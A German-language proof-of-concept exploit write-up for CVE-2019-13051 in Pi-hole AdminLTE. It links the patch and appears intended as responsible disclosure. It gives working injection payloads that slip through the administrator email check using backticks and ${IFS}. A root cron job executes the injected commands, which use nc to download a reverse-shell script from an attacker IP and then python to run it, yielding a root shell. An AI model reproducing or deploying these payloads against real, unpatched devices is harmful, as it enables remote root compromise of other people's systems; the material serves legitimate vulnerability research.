
Proof-of-Concept-Exploit für die Pi-Hole AdminLTE Befehlseinschleusung (CVE-2019-13051), die über E-Mail-Feld-Injection und cron-basierte Ausführung einen Fernzugriff als Root ermöglicht.
Pi-Hole Version 4.3.2 enthält einen Patch für diese Sicherheitslücke: https://github.com/pi-hole/AdminLTE/pull/974
Ein großes Dankeschön an das Pi-Hole-Entwicklungsteam für ihr großartiges Projekt und dafür, dass sie die Meldung dieser Sicherheitslücke so einfach gemacht haben!
Es ist möglich, auf dem RaspberryPi-Gerät (oder dem Gerät/der VM, auf dem/der die Anwendung läuft) remote Root-Zugriff zu erlangen, indem die beschriebenen Schwachstellen in der Komponente "AdminLTE" ausgenutzt werden. Für die Ausnutzung sind administrative Zugangsdaten zur AdminLTE-Weboberfläche erforderlich.
Genauer gesagt ist es möglich, die Prüfung regulärer Ausdrücke zu umgehen und das Feld "Administrator-E-Mail-Adresse" mit beliebigen Befehlen zu verunreinigen. Diese werden anschließend in "/etc/pihole/setupVars.conf" gespeichert und dann mit root-Berechtigungen aus dem 10-minütigen Cron-Job "/usr/local/bin/pihole updatechecker local" geparst und ausgeführt.
Ein Angreifer muss auf das 10-minütige Intervall des Cron-Jobs "/etc/cron.d/pihole" für die Befehlsausführung warten.
Die folgenden Details und der Proof of Concept (PoC) hoffentlich helfen bei der Validierung und Reproduktion des Problems.
Nach der Authentifizierung an der Webanwendung gibt es einige serverseitige Validierungen, die ein Angreifer umgehen muss, um einen Befehl erfolgreich einzuschleusen.
In "savesettings.php" Zeile 499 wird eine vom Benutzer gesteuerte Variable "$adminemail" mit der internen PHP-Funktion FILTER_VALIDATE_EMAIL geprüft, deren Überprüfungen relativ schwach sind.
Es ist dann möglich, diese Validierungsprüfung zu umgehen und eine Befehlseinschleusung nachzuweisen, indem man einfach eine Menge Backticks in doppelten Anführungszeichen einschließt, z. B. durch Eingabe der folgenden Zeichenfolge als E-Mail des Administrators:
"`test>/tmp/poc_proof.txt`"@example.com

Innerhalb von 10 Minuten wird eine root-gehörige Datei mit dem Inhalt "test" in "/tmp/poc_proof.txt" mit Root-Berechtigungen erstellt.

Um weitere sinnvolle Angriffe durchzuführen, muss auch die Einschränkung von Leerzeichen umgangen werden (diese sind keine gültigen E-Mail-Zeichen und werden von der Funktion FILTER_VALIDATE_EMAIL abgefangen). Dafür wurde die interne Linux-Variable ${IFS} verwendet (die in den meisten Unix-Betriebssystemen standardmäßig Leerzeichen ist).
PoC:
*Hinweis: Dies könnte mit einem Einzeiler unter Verwendung der POSIX-Shell-Grammatik automatisiert werden, z. B. &&, || ...
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

Die HTTP-Anfrage sieht bei Untersuchung mit einem HTTP-Proxy wie folgt aus:

Warten Sie 10 Minuten, bis der Cron-Job läuft und das Skript abruft, oder führen Sie zu Reproduktionszwecken manuell /usr/local/bin/pihole updatechecker local aus. Sie können auch den eingeschleusten Befehl in "/etc/pihole/setupVars.conf" überprüfen (der der Variable ADMIN_EMAIL zugewiesen ist).
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
Warten Sie erneut 10 Minuten (oder führen Sie das Cron-Skript manuell zur Reproduktion aus) und Sie erhalten eine Root-Shell auf Ihrem Angriffsrechner.
